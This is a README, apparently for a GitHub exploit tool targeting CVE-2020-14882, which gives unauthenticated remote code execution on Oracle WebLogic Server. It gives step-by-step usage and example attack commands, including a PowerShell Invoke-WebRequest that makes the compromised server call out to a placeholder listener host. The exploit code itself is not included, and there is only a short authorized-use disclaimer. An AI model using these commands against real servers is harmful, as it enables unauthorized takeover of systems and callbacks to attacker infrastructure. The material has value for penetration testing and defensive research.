danny-lli/cve-2020-14882This script allows for remote code execution (RCE) on Oracle WebLogic Server
This script enables remote code execution (RCE) on Oracle WebLogic Server using an unauthenticated GET request. It exploits the vulnerability CVE-2020-14882. By executing arbitrary commands, an attacker can gain unauthorized access to the server.
Make sure you have Python 3 installed. To use this script, follow the steps below:
Open a terminal or command prompt.
Run the script using the following command:
python3 exploit.py http(s)://target:7001 command
Replace http(s)://target:7001 with the target URL of the Oracle WebLogic Server, and command with the desired command to execute.
Example 1:
python3 exploit.py http(s)://target:7001 "nslookup your_Domain"
This example executes the command nslookup your_Domain on the target server.
Example 2:
python3 exploit.py http(s)://target:7001 "powershell.exe -c Invoke-WebRequest -Uri http://your_listener"
This example executes the PowerShell command Invoke-WebRequest -Uri http://your_listener on the target server.
This script is intended for authorized penetration testing and security research purposes only. Unauthorized use of this script to exploit systems without proper consent is illegal and may result in legal consequences. Use it at your own risk.
This script requires the following dependencies:
requestsurllib3Please ensure that these dependencies are installed before running the script.